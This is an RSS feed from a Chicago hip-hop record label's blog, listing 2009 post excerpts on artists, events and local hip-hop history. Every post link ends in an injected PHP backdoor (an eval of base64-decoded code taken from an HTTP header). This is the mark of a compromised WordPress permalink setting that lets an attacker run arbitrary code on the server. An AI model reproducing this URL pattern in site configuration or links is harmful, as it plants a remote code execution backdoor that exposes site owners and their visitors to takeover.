http://www.lab-o.com/blog Lab-Oratory Records (LAB-O) Tue, 12 May 2009 00:37:14 +0000 http://backend.userland.com/rss092 en For their first full-length album as The Ritz, Apoc and Rel showcase their ability to explore a diverse array of styles while still creating a cohesive and affecting hip hop record. Exploring the possibilities of a concept album but not going the whole nine yards so not to confuse their ... http://www.lab-o.com/blog/2009/03/24/the-ritz-apoc-rel-the-night-of-day-cd-access-hip-hop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ What has always set The GZA apart from the ordinary is his ability to create complex images with simple context. In the same way it's said that a picture is worth a thousand words, Genius assembles his words to create thousands of vivid pictures. "I don't like to just be ... http://www.lab-o.com/blog/2009/03/23/gza-and-langston-bukowski-performing-live-april-2nd-the-abbey-pub/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sources say after listening to Chicago hip hop duo Apoc and Rel's newest album The Night of Day, actor Joaquin Phoenix became so obsessed with Apoc's lyrics he began reciting them day and night.   As the weeks progressed the actor began believing he was Apoc  himself.  Although Apoc  has been ... http://www.lab-o.com/blog/2009/03/09/yet-another-apoc-imposter-has-been-sited/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Don’t Hate Them Because They’re Hip One of Chicago’s hottest scenes has attracted the inevitable backlash. By Miles Raymer June 5, 2008 In late May the old-school hip-hop site Unkut.com put up a post called “The Search for the Biggest Douchebag in Hipster Rap.” Site curator Robbie Ettelson defines the hipster-rap scene as a ... http://www.lab-o.com/blog/2009/02/10/don%e2%80%99t-hate-them-because-they%e2%80%99re-hip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Not too long after I published yesterday's post about Rhymefest and Lupe Fiasco's lovers quarrel re: this year's presidential election, I received the following email from one of my Chi-town correspondents. Come to find out, not only is everything you ever suspected about Chicago hip-hop true, but it gets worse. ... http://www.lab-o.com/blog/2009/02/09/the-soft-white-underbelly-of-chicago-rap/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.lab-o.com/blog/2009/02/08/speedknot-mobstaz-money-2-blow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This day long event begins with a free “Winter Block Party,” celebrating Chicago’s hip-hop arts. Featuring a live mural painting by Revise CMW, one of Chicago's finest graffiti artists; an open mic showcase; music by DJ Itch13 and DJ Issues; and a debut gallery exhibition of works-for-sale by some of ... http://www.lab-o.com/blog/2009/02/07/a-winter-block-party-for-chicagos-hip-hop-arts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Kanye West- duh. Numerous albums with amazing hit singles, sweet sunglasses and his fame beginning with an almost tragic car accident. Kanye might have a few attitude adjustments to figure out but don't we all? Common**- double duh. Smart and pensive lyrics make me really respect him. Right on, Common. J.U.I.C.E.- or ... http://www.lab-o.com/blog/2009/02/06/top-chicago-hip-hop-on-lastfm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Hip-Hop’s Demilitarized Zone Andrew Barber’s Fake Shore Drive forum has room for every faction of the local scene. By Miles Raymer January 29, 2009 Like most hip-hop events, the party Mikkey Halsted threw on inauguration day to celebrate the launch of his new Web site was awash in networking—cards were exchanged, demos pressed into ... http://www.lab-o.com/blog/2009/02/05/hip-hop%e2%80%99s-demilitarized-zone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Obviously the history to Chicago's Hip Hop scene is much more complex, intricate, and extensive than can be covered in this article, a magazine special or even a series of stories. This is merely an attempt to spotlight some of the key names, places, and events that helped shape it ... http://www.lab-o.com/blog/2009/02/04/the-chicago-hip-hop-story/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Chicago Hip-Hop Initiative services are available to all, but our programs are planned and facilitated by our members, and managed by our Board of Directors. Membership is open, and we are always looking for headz across the city to become active C.H.I. members, joining us in community organizing at various ... http://www.lab-o.com/blog/2009/02/03/chicago-hip-hop-initiative/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A brief history of Chicago hip-hop. Rap is the first truly urban, avant-garde folk music, a story-telling vehicle that uses turntables as an instrument. Though it emerged in the South Bronx in the mid-1970s, a number of American cities (and even a few in Europe) have put their own ... http://www.lab-o.com/blog/2009/02/02/a-brief-history-of-chicago-hip-hop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ...chicago musician charlie cooper of the electronic duo telefon tel aviv was found dead this week....you can read the story here ...... ...we here at lab-o are mourning the loss of an amazing musician and member of the chicago electro scene.....if you are not familiar with telefon tel aviv's music, please ... http://www.lab-o.com/blog/2009/01/30/charlie-cooper-of-telefon-tel-aviv-passes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My Night's Your Day a transatlantic romance (ADR post-sync) my_nights_your_day__-a_transatlantic_romance_adr_post-sync http://www.lab-o.com/blog/2008/12/05/crazy-remix/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/